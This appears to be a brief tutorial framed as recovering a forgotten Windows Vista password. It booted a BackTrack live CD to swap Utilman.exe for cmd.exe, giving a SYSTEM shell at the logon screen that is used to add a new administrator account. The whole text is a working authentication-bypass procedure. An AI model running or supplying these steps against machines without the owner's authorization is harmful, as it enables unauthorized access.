Using BackTrack Live CD which can be found ::here::

For those of you who forgot your spiffy new Vista Logon password. Here’s a quick and dirty way to make a new user account. BTW, this has been around since XP but still useful.

Boot into Backtrack and open a shell prompt:

cd /mnt (change directory to mounted drives)
ls (get the list of mounted drives)
cd sda1 (sda1 is the main hard drive)
cd Windows/ (change to the windows directory)
cd System32/ (change to the system directory)
mv Utilman.exe Utilman.old (backup original file)
cp cmd.exe Utilman.exe (copy cmd.exe as utilman.exe)
reboot

once rebooted, at vista logon screen, Press Windows key + U
To invoke Utility Manager ( A.K.A. CMD.exe)
Cmd.exe will spawn with ‘System’ privileges.
c:\>net user S00perAdmin mypassword /add
c:\>net localgroup administrators S00perAdmin /add
Reboot and log in with your newly added Admin account